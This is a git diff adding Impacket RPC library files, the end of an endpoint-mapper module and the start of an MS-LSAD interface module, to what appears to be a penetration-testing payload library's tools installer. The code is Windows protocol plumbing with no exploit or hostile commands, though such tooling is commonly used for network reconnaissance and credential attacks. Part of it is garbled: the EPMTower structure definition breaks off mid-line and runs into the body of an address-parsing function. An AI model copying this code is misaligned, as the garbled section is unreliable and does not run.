+'66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol', +'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'338CD001-2244-31F1-AAAA-900038001003':'[MS-RSP]: Remote Shutdown Protocol', +'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol', +'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol', +'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol', +'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol', +'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol', +'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol', +'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol', +'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol', +'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol', +'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol', +'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol', +'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol', +'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol', +'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol', +'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol', +'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol', +'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol', +'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol', +'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol', +'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol', +'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol', +'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol', +'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol', +'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol', +'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol', +'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol', +'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol', +'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol', +'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol', +'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol', +'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol', +'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol', +'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol', +'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol', +'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol', +'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol', +'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol', +'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol', +'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol', +'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol', +'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol', +'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol', +'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol', +'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol', +'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol', +'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol', +'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol', +'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol', +'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol', +'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol', +'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol', +'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol', +'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol', +'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol', +'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol', +'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol', +'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol', +'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol', +'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol', +'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol', +'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol', +'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol', +'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol', +'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol', +'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol', +'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification', +'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:', +'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol', +'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol', +'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol', +'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol', +'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol', +'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions', +} + +# Inquire Type +RPC_C_EP_ALL_ELTS = 0x0 +RPC_C_EP_MATCH_BY_IF = 0x1 +RPC_C_EP_MATH_BY_OBJ = 0x2 +RPC_C_EP_MATH_BY_BOTH = 0x1 + +# Vers Option +RPC_C_VERS_ALL = 0x1 +RPC_C_VERS_COMPATIBLE = 0x2 +RPC_C_VERS_EXACT = 0x3 +RPC_C_VERS_MARJOR_ONLY= 0x4 +RPC_C_VERS_UPTO = 0x5 + +# Search +RPC_NO_MORE_ELEMENTS = 0x16c9a0d6 + +# Floors constants +FLOOR_UUID_IDENTIFIER = 0x0d +# Protocol Identifiers +FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5 +FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC) +# Pipe Identifier +FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe +# HostName Identifier +FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName +# PortAddr Identifier +FLOOR_TCPPORT_IDENTIFIER = 0x07 + +################################################################################ +# STRUCTURES +################################################################################ + +# Tower Floors: As states in C706: +# This appendix defines the rules for encoding an protocol_tower_t (abstract) +# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields +# (concrete). For historical reasons, this cannot be done using the standard NDR +# encoding rules for marshalling and unmarshalling. A special encoding is +# required. +# Note that the twr_t and twr_p_t are mashalled as standard IDL data types, +# encoded in the standard transfer syntax (for example, NDR). As far as IDL and +# NDR are concerned, tower_octet_string is simply an opaque conformant byte +# array. This section only defines how to construct this opaque open array of +# octets, which contains the actual protocol tower information. +# The tower_octet_string[ ] is a variable length array of octets that encodes +# a single, complete protocol tower. It is encoded as follows: +# * Addresses increase, reading from left to right. +# * Each tower_octet_string begins with a 2-byte floor count, encoded +# little-endian, followed by the tower floors as follows: +# +-------------+---------+---------+---------+---------+---------+ +# | floorcount | floor1 | floor2 | floor3 | ... | floorn | +# +-------------+---------+---------+---------+---------+---------+ +# The number of tower floors is specific to the particular protocol tower, +# also known as a protseq. +# * Eachtowerfloorcontainsthefollowing: +# |<- tower floor left hand side ->|<- tower floor right hand side ->| +# +------------+-----------------------+------------+----------------------+ +# | LHS byte | protocol identifier | RHS byte | related or address | +# | count | data | count | data | +# +------------+-----------------------+------------+----------------------+ +# The LHS (Left Hand Side) of the floor contains protocol identifier information. +# Protocol identifier values and construction rules are defined in Appendix I. +# The RHS (Right Hand Side) of the floor contains related or addressing +# information. The type and encoding for the currently defined protocol +# identifiers are given in Appendix I. +# The floor count, LHS byte count and RHS byte count are all 2-bytes, +# in little endian format. +# +# So.. we're gonna use Structure to solve this + +# Standard Floor Assignments +class EPMFloor(Structure): + structure = ( + ('LHSByteCount','H=0'), + ) + +EPMFloors = [ +EPMRPCInterface, +EPMRPCDataRepresentation, +EPMFloor, +EPMFloor, +EPMFloor, +EPMFloor +] + +class EPMTower(Structure): + structure = ( + ('NumberOfFloors',' '': + return tmp_address % tmp_address2 + else: + return 'IP: %s' % tmp_address2 + elif floor['ProtocolData'] == chr(0x0c): + tmp_address = 'ncacn_spx:~%%s[%d]' % unpack('!H',floor['RelatedData']) + elif floor['ProtocolData'] == chr(0x0d): + n = len(floor['RelatedData']) + tmp_address2 = ('%02X' * n) % unpack("%dB" % n, floor['RelatedData']) + + if tmp_address <> '': + return tmp_address % tmp_address2 + else: + return 'SPX: %s' % tmp_address2 + elif floor['ProtocolData'] == chr(0x0e): + tmp_address = 'ncadg_ipx:~%%s[%d]' % unpack('!H',floor['RelatedData']) + elif floor['ProtocolData'] == chr(0x0f): + tmp_address = 'ncacn_np:%%s[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1] + elif floor['ProtocolData'] == chr(0x10): + return 'ncalrpc:[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1] + elif floor['ProtocolData'] == chr(0x01) or floor['ProtocolData'] == chr(0x11): + if tmp_address <> '': + return tmp_address % floor['RelatedData'][:len(floor['RelatedData'])-1] + else: + return 'NetBIOS: %s' % floor['RelatedData'] + elif floor['ProtocolData'] == chr(0x1f): + tmp_address = 'ncacn_http:%%s[%d]' % unpack('!H',floor['RelatedData']) + else: + return 'unknown_proto_0x%x:[0]' % ord(floor['ProtocolData'] ) + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/lsad.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/lsad.py new file mode 100644 index 0000000..7f12006 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/lsad.py @@ -0,0 +1,1664 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-LSAD] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \ + NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \ + LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \ + SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if nt_errors.ERROR_MESSAGES.has_key(key): + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1.1.2 ACCESS_MASK for Policy Objects +POLICY_VIEW_LOCAL_INFORMATION = 0x00000001 +POLICY_VIEW_AUDIT_INFORMATION = 0x00000002 +POLICY_GET_PRIVATE_INFORMATION = 0x00000004 +POLICY_TRUST_ADMIN = 0x00000008 +POLICY_CREATE_ACCOUNT = 0x00000010 +POLICY_CREATE_SECRET = 0x00000020 +POLICY_CREATE_PRIVILEGE = 0x00000040 +POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080 +POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100 +POLICY_AUDIT_LOG_ADMIN = 0x00000200 +POLICY_SERVER_ADMIN = 0x00000400 +POLICY_LOOKUP_NAMES = 0x00000800 +POLICY_NOTIFICATION = 0x00001000 + +# 2.2.1.1.3 ACCESS_MASK for Account Objects +ACCOUNT_VIEW = 0x00000001 +ACCOUNT_ADJUST_PRIVILEGES = 0x00000002 +ACCOUNT_ADJUST_QUOTAS = 0x00000004 +ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008 + +# 2.2.1.1.4 ACCESS_MASK for Secret Objects +SECRET_SET_VALUE = 0x00000001 +SECRET_QUERY_VALUE = 0x00000002 + +# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects +TRUSTED_QUERY_DOMAIN_NAME = 0x00000001 +TRUSTED_QUERY_CONTROLLERS = 0x00000002 +TRUSTED_SET_CONTROLLERS = 0x00000004 +TRUSTED_QUERY_POSIX = 0x00000008 +TRUSTED_SET_POSIX = 0x00000010 +TRUSTED_SET_AUTH = 0x00000020 +TRUSTED_QUERY_AUTH = 0x00000040 + +# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE +POLICY_MODE_INTERACTIVE = 0x00000001 +POLICY_MODE_NETWORK = 0x00000002 +POLICY_MODE_BATCH = 0x00000004 +POLICY_MODE_SERVICE = 0x00000010 +POLICY_MODE_DENY_INTERACTIVE = 0x00000040 +POLICY_MODE_DENY_NETWORK = 0x00000080 +POLICY_MODE_DENY_BATCH = 0x00000100 +POLICY_MODE_DENY_SERVICE = 0x00000200 